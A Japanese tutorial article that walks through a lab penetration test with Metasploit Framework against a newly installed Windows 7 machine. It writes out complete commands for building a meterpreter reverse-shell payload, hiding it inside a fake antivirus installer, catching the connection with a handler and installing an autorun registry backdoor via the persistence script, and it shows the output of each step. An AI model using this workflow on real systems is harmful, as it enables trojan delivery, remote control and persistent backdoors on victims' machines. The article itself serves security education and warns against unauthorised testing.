Metasploit Framework ことはじめ

Metasploit Framework によるペネトレーションテスト

1. 概要

Metasploit Framework (以下、Metasploit) は、数多くのエクスプロイトコードの実行や、スタンドアロンバイナリの生成、エンコードなどを、簡単なオプション設定をするだけで実行できるペネトレーションテストツールです。当初は Perl で開発されていたのが、Ver.3 以降は全面的に Ruby で書きなおされており、Ruby で開発されたオープンソースソフトとしては世界最大規模と言われています。今回は Metasploit の基本的な使い方を、実際にペネトレーションテストを行いながら紹介し、そのフレームワークとしての完成度の高さを実感します。

2. ペネトレーションテスト

「ペネトレーションテストとは、攻撃者がセキュリティコントロールを回避し、組織のシステムへアクセスするために使う可能性のある手法をシミュレートする方法である。

（参考文献 1, p.1 より抜粋）

つまりペネトレーションテストとは、「実際に攻撃をしてみることで、システムのセキュリティの問題点を見つけ出す」ことです。防御を考えるとき、どのように攻撃してくるかを考えるように、セキュリティにおいても攻撃者のたどる手法を

考えるのです。今回は初めから手法を確定しているので、ペネトレーションテストというより「攻撃再現性の確認」という方が近いのですが、便宜的にペネトレーションテストと呼ぶことにします。では、早速テストを開始しましょう。

まずは、行うテストのシチュエーションを考えます。今回はインストール直後の Windows7 マシンを侵害してバックドアを作成する、というシナリオでペネトレーションテストを行いたいと思います。

次に、侵害する Windows マシンについての状況設定を行います。

この Windows マシンはインストールされた直後で、インターネットにアクセスできるネットワークに接続されています。そのネットワークには攻撃者も接続しています。まだウイルス対策ソフトはインストールされていません。そこで、ウイルス対策ソフトをインストールしようとしたところ、ネットワーク上のあるユーザー（実は攻撃者）から、ウイルス対策ソフトだといって実行ファイルを渡され、それを起動してインストールしようとします。

そして、攻撃するマシンの状況設定を行います。

攻撃者のマシンの OS は Back Track 5 R3 で、2012/10/26 時点で最新のものです。侵害するターゲットの Windows マシンと同じネットワークに接続されており、2 者間にルーターなど、IP を扱う機器はありません。攻撃者はインストール直後の Windows マシンのユーザーに、細工された実行ファイルを渡します。そのファイルは一見、ウイルス対策ソフトに見えますが、実はバックグラウンドで攻撃者のもとにリバースコネクトするようになっています。攻撃者

はこの接続を受け、Windows マシンのコントロールを得ます。

2.1. 攻撃開始

今回の攻撃で行うことは大きく分けて 2 つです。一つは、ターゲットの Windows マシンのユーザーに渡す、細工された実行ファイルを作成すること。もう一つは、ターゲットの Windows マシンからの接続を待ち受けることです。

2.1.1 スタンドアロンバイナリの生成

まずは、リバースコネクトするファイルの生成を行います。この時使用するツールは、msfpayload というスタンドアロンバイナリの生成に特化したツールと、それを別のファイルに見せかけることができる msfencode というツールです。

早速 msfpayload を使って、バイナリの生成を行いましょう。

今回使用するペイロードは、payload/windows/meterpreter/reverse_tcp です。(これは Metasploit 内での名前で、一般的なエクスプロイトやペイロードとしての名前ではありません。)まずは、ペイロードで指定可能なオプションを表示する、O オプションを使います。(以降の図は紙面の都合上一部省略しています)

```
$ msfpayload windows/meterpreter/reverse_tcp O

    Name: Windows Meterpreter (Reflective
Injection), Reverse TCP Stager
  Module: payload/windows/meterpreter/reverse_tcp
 Version: 14774, 15548, 14976
Platform: Windows
    Arch: x86
Needs Admin: No
 Total size: 290
        Rank: Normal
Basic options:
Name       Current Setting   Required
----       ---------------   --------
EXITFUNC   process            yes
LHOST                         yes
LPORT                         yes
Description:
  Connect back to the attacker, Inject the
meterpreter server DLL via the Reflective Dll
Injection payload (staged)
```

ペイロードのオプションとして必要なパラメータは、LHOST と LPORT です。それぞれ今回の環境では LHOST=192.168.5.5 LPORT=4444 にします。また、実行ファイル形式で出力するので、最後に X オプションを付けます。

```
$ msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.5.5 LPORT=4444 X >
/root/Meterwork/kof.exe
```

これを実行すればバイナリが生成されますが、それではいかにも怪しいファイルなので、これをウイルス対策ソフトのインストーラに見せかけます。

ここで登場するのが msfencode です。msfencode は、あるファイルをエンコード、つまり後から復元できるようにデータに変換を加えることができるのですが、これを使えばファイルを別の実行ファイルの中に埋め込み、それが動いている裏で、本来のファイルを実行することができるのです。

具体的にどのようなコマンドになるのか見てみましょう。まずは、先ほどのスタンドアロンバイナリを生成する一連のコマンドを、実行ファイル形式でなく、生の状態でパイプするため、X オプションではなく R オプションを指定します。また、最終的に生成されるファイル形式は exe なので、msfencode のオプション“–t”で exe を指定します。また、埋め込む先の実行ファイルを“-x”で指定し、生成するファイルの名前を“-o”で指定します。また、“–k”オプションを指定することで、埋め込む先の実行ファイルを別スレッドで動かし、ユーザーに不信感を与えることなくペイロードを実行することができます。

```
msf > msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.5.5 LPORT=4444 R | msfencode -t exe -
x /root/Meterwork/kof/avinstall.exe -o
/root/Meterwork/kof/avinstaller.exe –k
[*] exec: msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.5.5
LPORT=4444 R | msfencode -t exe -x
/root/Meterwork/kof/avinstall.exe -o
/root/Meterwork/kof/avinstaller.exe -k
[*] x86/shikata_ga_nai succeeded with size 317
(iteration=1)
```

これで、avinstaller.exe という、実行すると 192.168.5.5 の 4444 ポートにリバースコネクトする実行ファイルができました。

2.1.2 ハンドラの設定

次に、ターゲットからの接続を待ち受けるハンドラの設定をします。こちらは、Metasploit Framework で最もポピュラーなインターフェース msfconsole を使用します。msfconsole は、Metasploit Framework のほぼ全ての機能を、ユーザーフレンドリーなコンソール形式で提供するツールです。

msfconsole での操作の基本は、実行するエクスプロイトと、エクスプロイト成功後に実行するペイロードを選択、オプションのパラメータを設定して実行、という流れです。今回使用するエクスプロイトは exploit/multi/handler で、ペイロードは先ほど作ったバイナリと同じものを選択し、オプションも先ほどと同じように設定します。

```
$ msfconsole
      (中略)
         =[ metasploit v4.5.0-dev [core:4.5
api:1.0]
+ -- --=[ 974 exploits - 518 auxiliary - 158 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops
msf > use exploit/multi/handler
msf  exploit(handler) >set PAYLOAD
windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.5.5
LHOST => 192.168.5.5
msf  exploit(handler) > set LPORT 4444
LPORT => 4444
msf  exploit(handler) > exploit
[*] Started reverse handler on 192.168.5.5:4444
[*] Starting the payload handler...
```

2.2. 攻撃開始

Windows ユーザーに作成したファイルを渡し、実行するように伝えます。今回のペネトレーションテストでは、この部分が最も難しく、またキモとなる部分でしょう。しかし今回は Metasploit でのペネトレーションテストということなので、この部分を省略します。ともあれ、ターゲットの windows マシンのユーザーは、このファイルを実行します。ウイルス対策ソフトのインストーラが起動し、ユーザーは安心しますが、実際には攻撃者のマシンに接続を試みている最中です。攻撃者のほうから確認してみましょう。下は msfconsole の画面です。

```
[*] Started reverse handler on 192.168.5.5:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.5.1
[*] Meterpreter session 1 opened (192.168.5.5:4444
-> 192.168.5.1:3182) at 2012-10-27 00:56:21 +0900
meterpreter >
```

どうやら、リバースコネクトには成功し、リモートシェルを得られたようです。Meterpreter という別のシェルが立ち上がっています。Meterpreter は Metasploit が提供する高機能リモートシェルで、エクスプロイト成功後に実行するペイロードとしてよく用いられます。Windows マシンにバックドアを仕掛けるには、Meterpreter エージェント（Meterpreter ペイロードの実行形式ファイル）をターゲットマシンにインストールし、自動起動させることで、マシン再起動後でも接続できるようにするスクリプト「persistence」を利用します。

```
meterpreter > run persistence -X -i 50 -p 443 -r
192.168.5.5
[*] Running Persistence Script
[*] Resource file for cleanup created at
/root/.msf4/logs/persistence/RIGEL_20121027.5627/RIGE
L_20121027.5627.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp
LHOST=192.168.5.5 LPORT=443
[*] Persistent agent script is 613880 bytes long
[+] Persistent Script written to
C:\Users\zat\AppData\Local\Temp\CGCVuOVav.vbs
[*] Executing script     ···(1)
C:\Users\zat\AppData\Local\Temp\CGCVuOVav.vbs
[+] Agent executed with PID 2244
[*] Installing into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\sE
hfEaFFQQX   ···(2)
[+] Installed into autorun as
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\sE
hfEaFFQQX
```

これで、バックドアを仕掛けることができました。このバックドアを削除するには、(1)で示されたVBscriptと、(2)のレジストリエントリを手動で削除する必要があります。

3. 考察

Metasploit Frameworkは“フレームワーク”です。フレームワークとは、様々な攻撃手法を、ひとつの操作様式で試すことができるものです。アンダーグラウンドサイトからエクスプロイトコードをダウンロードしてきて、コンパイルして実行する、といった煩雑な作業はなく、エクスプロイトコードによってオプションの設定方法が違うこともありません。そのおかげで、大量のエクスプロイトを検証してみたり、カスタムスクリプトを書いたりといったことも容易にできます。今回のペネトレーションテストでは、オプション設定にLHOSTとLPORTの

設定しかしていないことを考えると、Metasploit Framework のフレームワークとしての完成度の高さが伺えるでしょう。Metasploit Framework は今もアップデートされ、さらなる発展を続けています。

Metasploit のようなペネトレーションテストツールは、我々が他のマシンに攻撃するのを容易にします。しかし当然ながら、無許可で他人の環境に対して実行すれば法に触れる可能性があります。実際に攻撃をしてみて、その危険さを体感するのは非常によいことなのですが、それはあくまでテスト環境で行う場合の話です。我々がテストを行うときは、自分の管理する環境でのみ行う、ということを忘れてはいけません。

参考文献

[1]
David Kennedy, Jim O'Gorman, Devon Kearns, Mati Aharoni 著
青山 一史, 秋山 満昭, 岩村 誠, 川古谷 裕平, 川島 祐樹, 辻 伸弘, 宮本久仁男 監訳
「実践 Metasploit ―ペネトレーションテストによる脆弱性評価」
株式会社オライリー・ジャパン 発行, 2012 年